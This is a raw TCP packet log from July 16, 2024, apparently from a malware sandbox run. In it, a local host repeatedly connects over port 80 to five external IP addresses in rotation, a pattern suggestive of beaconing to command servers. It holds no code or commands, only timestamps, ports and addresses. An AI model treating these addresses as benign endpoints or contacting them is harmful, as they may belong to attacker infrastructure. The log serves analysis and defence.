Jul 16, 2024 10:01:44.106405020 CEST	80	49733	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:44.131525040 CEST	49734	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:44.136980057 CEST	80	49734	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:44.137054920 CEST	49734	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:44.140446901 CEST	49734	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:44.145576954 CEST	80	49734	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:45.842859983 CEST	80	49733	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:45.843035936 CEST	49733	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:45.843095064 CEST	49733	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:45.843882084 CEST	49735	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:45.848335028 CEST	80	49733	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:45.848716021 CEST	80	49735	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:45.848864079 CEST	49735	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:45.849257946 CEST	49735	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:45.854301929 CEST	80	49735	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:45.871731043 CEST	80	49734	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:45.871805906 CEST	49734	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:45.871891975 CEST	49734	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:45.872781992 CEST	49736	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:45.877777100 CEST	80	49734	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:45.877872944 CEST	80	49736	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:45.878202915 CEST	49736	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:45.921361923 CEST	49736	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:45.927647114 CEST	80	49736	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:47.450148106 CEST	80	49735	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:47.450442076 CEST	49735	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:47.450442076 CEST	49735	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:47.451132059 CEST	49737	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:47.455733061 CEST	80	49735	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:47.456141949 CEST	80	49737	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:47.456299067 CEST	49737	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:47.456459999 CEST	49737	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:47.462722063 CEST	80	49737	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:47.605967999 CEST	80	49736	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:47.606215954 CEST	49736	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:47.632556915 CEST	49736	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:47.633239031 CEST	49738	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:47.637914896 CEST	80	49736	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:47.638729095 CEST	80	49738	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:47.638818026 CEST	49738	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:47.639090061 CEST	49738	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:47.643923044 CEST	80	49738	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:49.090730906 CEST	80	49737	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:49.090853930 CEST	49737	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:49.090922117 CEST	49737	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:49.091743946 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:49.098740101 CEST	80	49737	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:49.098758936 CEST	80	49739	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:49.098951101 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:49.099252939 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:49.104140997 CEST	80	49739	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:49.267993927 CEST	80	49738	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:49.268119097 CEST	49738	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:49.268201113 CEST	49738	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:49.268942118 CEST	49740	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:49.272922993 CEST	80	49738	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:49.273690939 CEST	80	49740	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:49.273853064 CEST	49740	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:49.274163008 CEST	49740	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:49.278995037 CEST	80	49740	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:49.705745935 CEST	80	49739	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:49.759434938 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:49.806386948 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:49.813436985 CEST	80	49739	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:49.813503027 CEST	49739	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:50.910819054 CEST	80	49740	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:50.910903931 CEST	49740	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:50.937367916 CEST	49740	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:50.943011999 CEST	80	49740	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:51.043818951 CEST	49741	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:51.049348116 CEST	80	49741	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:51.049436092 CEST	49741	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:51.130621910 CEST	49741	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:51.136194944 CEST	80	49741	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:51.666841030 CEST	80	49741	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:51.776251078 CEST	49741	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:51.782107115 CEST	80	49741	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:51.782177925 CEST	49741	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:52.375173092 CEST	49742	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:52.380660057 CEST	80	49742	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:52.380769968 CEST	49742	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:52.381130934 CEST	49742	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:52.386554956 CEST	80	49742	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:54.131043911 CEST	80	49742	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:54.131155968 CEST	49742	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:54.131226063 CEST	49742	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:54.132169962 CEST	49743	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:54.137430906 CEST	80	49742	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:54.137568951 CEST	80	49743	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:54.137631893 CEST	49743	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:54.138731003 CEST	49743	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:54.143980026 CEST	80	49743	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:55.872586966 CEST	80	49743	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:55.872661114 CEST	49743	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:55.876306057 CEST	49743	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:55.879698992 CEST	49744	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:55.886095047 CEST	80	49743	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:55.887804031 CEST	80	49744	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:55.887900114 CEST	49744	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:55.890646935 CEST	49744	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:55.895939112 CEST	80	49744	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:57.501775026 CEST	80	49744	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:57.501847029 CEST	49744	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:57.501995087 CEST	49744	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:01:57.502868891 CEST	49747	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:57.507304907 CEST	80	49744	77.238.224.56	192.168.2.4
Jul 16, 2024 10:01:57.508021116 CEST	80	49747	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:57.508106947 CEST	49747	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:57.508423090 CEST	49747	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:57.513694048 CEST	80	49747	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:59.107804060 CEST	80	49747	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:59.107897043 CEST	49747	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:59.107981920 CEST	49747	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:01:59.108865023 CEST	49751	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:59.113241911 CEST	80	49747	77.238.229.63	192.168.2.4
Jul 16, 2024 10:01:59.115436077 CEST	80	49751	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:59.115530968 CEST	49751	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:59.115897894 CEST	49751	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:59.121798038 CEST	80	49751	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:59.720635891 CEST	80	49751	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:59.721091032 CEST	49751	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:01:59.726994991 CEST	80	49751	77.238.250.123	192.168.2.4
Jul 16, 2024 10:01:59.727171898 CEST	49751	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:19.840720892 CEST	49753	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:19.845784903 CEST	80	49753	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:19.845922947 CEST	49753	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:19.846731901 CEST	49753	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:19.851546049 CEST	80	49753	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:21.576910019 CEST	80	49753	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:21.577089071 CEST	49753	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:21.577167988 CEST	49753	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:21.578306913 CEST	49754	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:21.583058119 CEST	80	49753	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:21.583244085 CEST	80	49754	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:21.583383083 CEST	49754	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:21.584547997 CEST	49754	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:21.589729071 CEST	80	49754	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:21.790611982 CEST	49755	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:21.796452045 CEST	80	49755	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:21.796647072 CEST	49755	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:21.798268080 CEST	49755	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:21.803714037 CEST	80	49755	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:23.329050064 CEST	80	49754	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:23.329210997 CEST	49754	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:23.329317093 CEST	49754	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:23.330415964 CEST	49756	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:23.334525108 CEST	80	49754	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:23.335720062 CEST	80	49756	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:23.335800886 CEST	49756	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:23.345740080 CEST	49756	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:23.351037979 CEST	80	49756	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:23.527235031 CEST	80	49755	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:23.527384043 CEST	49755	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:23.527612925 CEST	49755	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:23.528516054 CEST	49757	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:23.532929897 CEST	80	49755	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:23.534018993 CEST	80	49757	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:23.534102917 CEST	49757	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:23.534601927 CEST	49757	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:23.539838076 CEST	80	49757	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:24.938000917 CEST	80	49756	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:24.938354969 CEST	49756	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:24.938654900 CEST	49756	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:24.939157963 CEST	49758	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:24.944004059 CEST	80	49756	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:24.944461107 CEST	80	49758	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:24.944569111 CEST	49758	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:24.944984913 CEST	49758	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:24.950011969 CEST	80	49758	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:25.261862040 CEST	80	49757	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:25.261939049 CEST	49757	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:25.262033939 CEST	49757	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:25.262705088 CEST	49759	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:25.267352104 CEST	80	49757	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:25.267847061 CEST	80	49759	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:25.267930984 CEST	49759	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:25.268470049 CEST	49759	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:25.277851105 CEST	80	49759	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:26.564024925 CEST	80	49758	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:26.564306021 CEST	49758	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:26.564306021 CEST	49758	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:26.565360069 CEST	49760	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:26.569758892 CEST	80	49758	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:26.570261002 CEST	80	49760	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:26.570343971 CEST	49760	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:26.570806980 CEST	49760	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:26.576076031 CEST	80	49760	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:26.912575006 CEST	80	49759	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:26.912667036 CEST	49759	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:26.912817001 CEST	49759	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:26.914920092 CEST	49761	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:26.918287039 CEST	80	49759	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:26.920269966 CEST	80	49761	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:26.920548916 CEST	49761	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:26.920990944 CEST	49761	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:26.926568031 CEST	80	49761	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:27.172642946 CEST	80	49760	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:27.173046112 CEST	49760	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:27.179228067 CEST	80	49760	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:27.179320097 CEST	49760	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:28.552546024 CEST	80	49761	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:28.552721024 CEST	49761	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:28.552805901 CEST	49761	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:28.553988934 CEST	49762	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:28.558357000 CEST	80	49761	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:28.559010029 CEST	80	49762	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:28.559227943 CEST	49762	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:28.559401035 CEST	49762	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:28.564817905 CEST	80	49762	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:29.160639048 CEST	80	49762	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:29.161382914 CEST	49762	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:29.168812990 CEST	80	49762	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:29.169050932 CEST	49762	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:29.727405071 CEST	49763	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:29.733138084 CEST	80	49763	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:29.733304977 CEST	49763	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:29.734040022 CEST	49763	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:29.743072033 CEST	80	49763	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:31.486399889 CEST	80	49763	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:31.486548901 CEST	49763	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:31.486676931 CEST	49763	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:31.487673998 CEST	49764	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:31.496325016 CEST	80	49763	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:31.496814966 CEST	80	49764	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:31.497001886 CEST	49764	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:31.497123003 CEST	49764	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:31.502280951 CEST	80	49764	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:33.276717901 CEST	80	49764	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:33.276945114 CEST	49764	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:33.276946068 CEST	49764	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:33.277878046 CEST	49765	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:33.282659054 CEST	80	49764	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:33.283072948 CEST	80	49765	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:33.283269882 CEST	49765	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:33.284347057 CEST	49765	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:33.289586067 CEST	80	49765	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:34.908915043 CEST	80	49765	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:34.909003019 CEST	49765	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:34.909106016 CEST	49765	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:02:34.910623074 CEST	49766	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:34.913973093 CEST	80	49765	77.238.224.56	192.168.2.4
Jul 16, 2024 10:02:34.915539026 CEST	80	49766	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:34.915618896 CEST	49766	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:34.915968895 CEST	49766	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:34.920814037 CEST	80	49766	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:36.534907103 CEST	80	49766	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:36.535016060 CEST	49766	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:36.535105944 CEST	49766	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:02:36.536197901 CEST	49768	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:36.540584087 CEST	80	49766	77.238.229.63	192.168.2.4
Jul 16, 2024 10:02:36.541506052 CEST	80	49768	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:36.541713953 CEST	49768	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:36.542054892 CEST	49768	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:36.547156096 CEST	80	49768	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:37.231015921 CEST	80	49768	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:37.231404066 CEST	49768	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:37.237514973 CEST	80	49768	77.238.250.123	192.168.2.4
Jul 16, 2024 10:02:37.237699986 CEST	49768	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:02:57.174417019 CEST	49769	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:57.181664944 CEST	80	49769	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:57.181961060 CEST	49769	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:57.182085037 CEST	49769	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:57.187446117 CEST	80	49769	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:58.940339088 CEST	80	49769	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:58.940727949 CEST	49769	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:58.941606998 CEST	49770	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:58.941606998 CEST	49769	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:58.947253942 CEST	80	49770	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:58.947299004 CEST	80	49769	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:58.947360992 CEST	49770	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:58.947762012 CEST	49770	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:02:58.952960968 CEST	80	49770	91.142.74.28	192.168.2.4
Jul 16, 2024 10:02:59.168406010 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:59.173830032 CEST	80	49771	195.2.70.38	192.168.2.4
Jul 16, 2024 10:02:59.174117088 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:59.174444914 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:02:59.179593086 CEST	80	49771	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:00.717083931 CEST	80	49770	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:00.717221022 CEST	49770	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:00.717480898 CEST	49770	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:00.719496965 CEST	49772	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:00.724759102 CEST	80	49770	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:00.724818945 CEST	80	49772	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:00.724984884 CEST	49772	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:00.726083040 CEST	49772	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:00.731057882 CEST	80	49772	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:01.238347054 CEST	80	49771	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:01.238682985 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:01.238682985 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:01.238863945 CEST	80	49771	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:01.239816904 CEST	49773	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:01.239818096 CEST	49771	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:01.244004965 CEST	80	49771	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:01.244882107 CEST	80	49773	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:01.245101929 CEST	49773	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:01.245388985 CEST	49773	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:01.250897884 CEST	80	49773	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:02.353355885 CEST	80	49772	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:02.353466034 CEST	49772	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:02.354326963 CEST	49772	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:02.357672930 CEST	49774	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:02.363190889 CEST	80	49772	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:02.365272045 CEST	80	49774	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:02.365369081 CEST	49774	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:02.366687059 CEST	49774	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:02.373827934 CEST	80	49774	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:02.984205961 CEST	80	49773	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:02.985886097 CEST	49773	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:02.995415926 CEST	49773	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:02.996536016 CEST	49775	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:03.001235962 CEST	80	49773	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:03.002049923 CEST	80	49775	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:03.005886078 CEST	49775	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:03.006267071 CEST	49775	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:03.011070013 CEST	80	49775	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:03.988317966 CEST	80	49774	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:03.988435984 CEST	49774	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:03.988526106 CEST	49774	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:03.989497900 CEST	49776	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:03.993482113 CEST	80	49774	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:03.994626045 CEST	80	49776	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:03.994705915 CEST	49776	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:03.995242119 CEST	49776	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:04.000250101 CEST	80	49776	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:04.681950092 CEST	80	49776	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:04.682063103 CEST	80	49775	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:04.682142019 CEST	49775	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:04.682271957 CEST	49775	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:04.684092999 CEST	49776	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:04.685271978 CEST	49777	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:04.687366962 CEST	80	49775	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:04.689511061 CEST	80	49776	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:04.689580917 CEST	49776	80	192.168.2.4	77.238.250.123
